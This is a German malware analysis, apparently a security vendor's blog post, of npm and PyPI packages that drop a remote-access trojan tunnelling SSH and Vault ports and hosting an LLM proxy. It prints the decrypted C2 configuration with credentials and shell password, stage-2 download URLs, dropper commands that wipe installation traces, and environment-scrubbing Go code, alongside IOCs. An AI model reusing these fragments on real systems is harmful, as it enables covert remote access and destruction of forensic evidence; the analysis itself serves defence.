GPT-Proxy Backdoor in npm und PyPI verwandelt Server in chinesische LLM-Relays

Wir haben kürzlich zwei bösartige Pakete in npm (kube-health-tools) und PyPI (kube-node-health) beobachtet, die darauf ausgelegt zu sein scheinen, Kubernetes-Umgebungen anzugreifen. Beide Pakete sind oberflächlich betrachtet harmlos und verwenden Namen, die auf Kubernetes verweisen, um legitim zu erscheinen. Doch im Hintergrund installieren sie stillschweigend einen vollständigen LLM-Proxy-Dienst auf dem Rechner des Opfers, wodurch der Angreifer LLM-Traffic über den kompromittierten Server leiten kann, als wäre dieser nur ein weiterer Relay-Knoten in einer kommerziellen AI-Reselling-Plattform.

Stufe 1: Die Dropper

Beide Pakete liefern ein kompiliertes natives Binary als Payload-Träger.

Die beiden Dateien der Stufe 1 sind:

• __init___cpython-311-x86_64-linux-gnu.so  (PyPI-Paket)
• addon.node  (npm-Paket)

Beide sind native Binaries, die beim Import oder bei require(). Das .so ist eine mit Cython kompilierte Python-Erweiterung; das .node ist ein natives Node.js-Addon. Beide laden ein Stage-2-Binary von GitHub herunter. Die kodierte URL im PyPI-Dropper löst sich auf zu:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packed

Der npm-Dropper ruft eine leistungsfähigere Variante aus demselben Release ab:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packed

Beide Binaries werden nach /tmp/.khgeschrieben, als ausführbar markiert und sofort gestartet.

Beide Dropper betten auch XOR-verschlüsselte Konfigurations-Blobs ein, die beim Start direkt in das Stage-2-Binary geleitet werden. Das Stage-2-Binary liest die Konfiguration von stdin, entschlüsselt sie und verwendet sie als Laufzeitkonfiguration:

{
  "server": "https://sync[.]geeker[.]indevs[.]in",
  "auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
  "tunnels": [
    "R:4444:127.0.0.1:0",
    "R:4446:127.0.0.1:22",
    "R:4445:127.0.0.1:8200"
  ],
  "shell": {
    "enabled": true,
    "password": "123qweASD",
    "auth_keys": []
  },
  "disguise": {
    "process_name": "node-health-check",
    "argv": "--mode=daemon"
  },
  "keepalive": "25s",
  "max_retry_interval": "30s",
  "headers": {
    "User-Agent": "Mozilla/5.0"
  },
  "tls_skip_verify": true
}

Die Konfiguration offenbart mehrere Details über den Vorgang. Der Command-and-Control (C2)-Server ist sync[.]geeker[.]indevs[.]in, authentifiziert mit einem fest kodierten Credential (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). Der Tarnungsblock weist das Implantat an, seinen Prozess als node-health-check --mode=daemon, um sich in einer Prozessliste mit legitimen Tools zu vermischen.

Die drei Reverse-Tunnel in der Konfiguration bilden jeweils einen Port auf dem C2-Server des Angreifers einem lokalen Dienst auf der Opfermaschine zu:

• Port 4444 leitet weiter an 127.0.0.1:0 (den LLM-Proxy)
• Port 4446 leitet weiter an 127.0.0.1:22 (den SSH-Server des Opfers)
• Port 4445 leitet weiter an 127.0.0.1:8200 (der Standard-Port von HashiCorp Vault, einem Secrets-Speicher, der häufig in Kubernetes-Umgebungen verwendet wird)

Die npm-Variante enthält auch einen ngrok-Fallback, der einen Pool von ngrok-Konten durchläuft, die vom C2 geliefert werden, und so den Server des Opfers über einen öffentlichen Endpunkt exponiert.

Nach dem Start des Stage-2-Binärprogramms löscht das Dropper-Skript aktiv Beweise seiner eigenen Ausführung. Es löscht das heruntergeladene Binärprogramm aus /tmp/.kh, entfernt eine zweite temporäre Datei unter /tmp/.ns, und dann, am bemerkenswertesten, löscht es rekursiv das gesamte kube-health-tools Paketverzeichnis aus node_modules:

sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -path "*/node_modules/*" -exec rm -rf {} + 2>/dev/null

Innerhalb von zwei Sekunden nach dem Start des Stage-2-Binärprogramms ist jedes Installationsartefakt verschwunden. Ein forensischer Scan nach dem Vorfall von node_modules wird nichts finden.

Stufe 2: Remote-Access-Trojaner

Das Stage-2-Binärprogramm ist ein kompiliertes Go-Binärprogramm mit mehreren Funktionen, die in einer einzigen ausführbaren Datei gebündelt sind. Es verbindet sich zurück mit sync[.]geeker[.]indevs[.]in über WebSocket, stellt eine SSH-Sitzung her und verwendet ein Chisel Tunneling Protokoll zur Registrierung der in der Konfiguration definierten Tunnel.

Das Implantat implementiert Chisel Tunneling über WebSocket:

• SOCKS5-Proxy: Die Binärdatei kann einen vollständigen SOCKS5-Proxy bereitstellen, der es dem Angreifer ermöglicht, beliebigen TCP-Verkehr durch das Netzwerk des Opfers zu leiten.
• Reverse Shell: Konfiguriert mit dem Passwort (123qweASD) das im Konfigurationsblock des Droppers gefunden wurde, und bietet ein vollständig interaktives Terminal.
• SFTP-Server: Liefert einen vollständigen SFTP-Server, der dem Angreifer vollständigen Lese- und Schreibzugriff auf das Dateisystem ermöglicht.
• LLM-Proxy: Ein OpenAI-kompatibles API-Gateway, das Anfragen entgegennimmt und diese über vom Angreifer bereitgestellte Router upstream weiterleitet.

Die Binärdatei sorgt dafür, sich nach dem Start zu verbergen. Sie benennt ihren Prozess um in node-health-check mit dem Argument --mode=daemon, wodurch sie sich in einer Prozessliste unter legitimen Tools einfügt. Außerdem werden alle relevanten Umgebungsvariablen sofort beim Start bereinigt:

func ClearEnv() {
    for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
        os.Unsetenv(name)
    }
    const aesKey = "s0m3R4nd0mK3y2026xYz"
    for _, kv := range os.Environ() {
        parts := strings.SplitN(kv, "=", 2)
        if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
            os.Unsetenv(parts[0])
        }
    }
}

Dies stellt sicher, dass, falls eine KH_CFG oder NHC_CFG operator-override Variable gesetzt wurde, diese aus der Umgebung verschwindet, bevor eine Überprüfung sie finden kann.

Der LLM-Proxy

Das Implantat enthält einen voll funktionsfähigen, OpenAI-kompatiblen LLM-Proxy, der direkt in die Stage-2-Binärdatei eingebettet ist. Es scheint sich um ein API-Gateway zu handeln, das Anfragen entgegennimmt und diese an Upstream-APIs weiterleitet, einschließlich chinesischer LLM-Router wie shubiaobiao.

Der Proxy stellt vier eingehende Routen bereit, die über den Tunnel erreichbar sind:

• GET /health → 200 OK
• GET /v1/models → alle konfigurierten Modelle auflisten
• POST /v1/chat/completions → an Upstream weiterleiten
• POST /v1/completions → an Upstream weiterleiten

Wenn eine Anfrage eingeht /v1/chat/completions, der Proxy:

1. Liest das model Feld aus dem Request Body
2. Sucht den Modellnamen in einer Routing-Tabelle, die vom C2 geliefert wird
3. Wählt einen API-Key entweder aus dem key_normal oder key_ultra Pool, abhängig vom key_type Feld der Konfiguration
4. Schreibt die Anfrage mit dem Upstream-Host, -Pfad und Bearer-Auth-Token um.
5. Leitet die Anfrage weiter und streamt die Antwort zurück.

Aus den im Binary gefundenen Upstream-Pfad-Strings bildet die Routing-Tabelle Modellnamen auf Pfade wie diese ab:

https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completions

Der /gpt-proxy/ Pfadpräfix, kombiniert mit Anbieternamen wie shubiaobiao, cloudsway und volengine, verweist auf intermediäre Aggregatoren und nicht auf offizielle Provider-APIs. Weder api.openai.com noch api.anthropic.com im Binary an beliebiger Stelle vorkommen.

Das Binary enthält 109 fest codierte Modellnamen-Strings, die zur Erstellung der /v1/models-Antwort verwendet werden. Sie umfassen die wichtigsten Frontier-Anbieter, einschließlich Modelle von Anthropic (claude-opus-4.6, claude-sonnet-4.6-thinking), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-preview, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), und Alibaba (qwen3-235b-a22b-instruct-2507).

Das chinesische Proxy-Ökosystem

Das Betreiben von Proxy-Servern auf kompromittierten Maschinen ist ein wiederkehrendes Verhalten in der chinesischen Bedrohungslandschaft, teilweise bedingt durch Einschränkungen der Großen Firewall. Zuvor, AhnLab entdeckte Angreifer, die Tools wie TinyProxy und Sing-box auf anfälligen Honeypot-Servern einsetzten, um verdeckte Proxy-Dienste zu betreiben. Tatsächlich scheint das GitHub-Konto gibunxi4201, das die Stage-2-Payload hostet, andere Proxy-bezogene Projekte in seiner Release-Historie zu haben, was mit einem Operator übereinstimmt, der sich hauptsächlich auf Proxy-Infrastruktur konzentriert.

Diese Proxy-Tools werden oft auf anfälligen Servern für kostenlose Proxy-IPs eingesetzt, aber auch auf kostenlosen Diensten wie HuggingFace, Databricks und Streamlit, um das Web ohne Einschränkungen der Großen Firewall zu durchsuchen. Das Muster ist immer dasselbe: eine günstige oder kompromittierte Ressource finden und sie in einen kostenlosen Proxy-Server verwandeln.

Chinesische Entwickelnde können aufgrund regionaler Sperren oft nicht auf KI-Modelle zugreifen. Dies hat einen florierenden Graumarkt für den LLM-API-Zugriff geschaffen. Chinesische Plattformen wie Xianyu, Goofish und Taobao sind voll von Angeboten von Verkäufern, die Zugang zu ChatGPT, Claude und Gemini zu einem Bruchteil der offiziellen Preise über Router-Endpunkte (wie sie in dieser Malware gefunden werden) anbieten. Es gibt sogar Verkäufer, die Kurse anbieten, wie man durch den Betrieb eigener LLM-Router Geld verdienen kann.

Bösartige LLM-Router

Über den günstigen Zugang zu KI hinaus sitzen LLM-Router wie der hier eingesetzte an einer Vertrauensgrenze, die leicht missbraucht werden kann. Da jede Anfrage im Klartext durch den Router läuft, kann ein bösartiger Operator, wie von Hanzhi Liu et al. dokumentiert,:

• Bösartige Tool-Aufrufe in die Antworten von Coding-Agenten injizieren, bevor sie den Client erreichen, wodurch bösartige pip install oder curl | bash Payloads während der Übertragung
• Secrets stillschweigend aus Anforderungs- und Antwort-Bodies exfiltrieren, einschließlich API-Schlüssel, AWS-Anmeldeinformationen, GitHub-Tokens, privater Ethereum-Schlüssel und System-Prompts

Die Forschenden stellten fest, dass in einem Korpus von 428 handelsüblichen Routern 9 aktiv bösartigen Code in zurückgegebene Tool-Aufrufe injizierten und bei 17 festgestellt wurde, dass sie forschendeneigene AWS-Canary-Anmeldeinformationen berührten, nachdem diese im Transit beobachtet wurden.

Obwohl wir in diesem spezifischen Implantat keine Anzeichen für Injektion oder Exfiltration fanden, leitet jede Entwickelnde, deren KI-Coding-Tools über eine kompromittierte Maschine geleitet werden, effektiv ihr gesamtes Kontextfenster über ein von einem Angreifer kontrolliertes Relais.

Wie Aikido dies erkennt

Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.

Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.

Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikidos Endpoint Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.

IOCs

Bösartige Pakete

• PyPI: kube-node-health
• npm: kube-health-tools

Datei-Hashes

• ​__init___cpython-311-x86_64-linux-gnu.so (PyPI Stufe 1)
  
  • SHA256: b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
• ​addon.node (npm Stufe 1)
  
  • SHA256: 5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
• kube-diag-linux-amd64-packed (Stufe 2 PyPI-Variante)
  
  • SHA256: fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
• kube-diag-full-linux-amd64-packed (Stufe 2 npm-Variante)
  
  • SHA256: 3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300

Netzwerk-Indikatoren

• C2-Server: sync[.]geeker[.]indevs[.]in
• Stufe 2 Download: github[.]com/gibunxi4201/kube-node-diag

Prozessindikatoren

• Prozessname: node-health-check​
• Temporäre Download-Pfade: /tmp/.kh und /tmp/.ns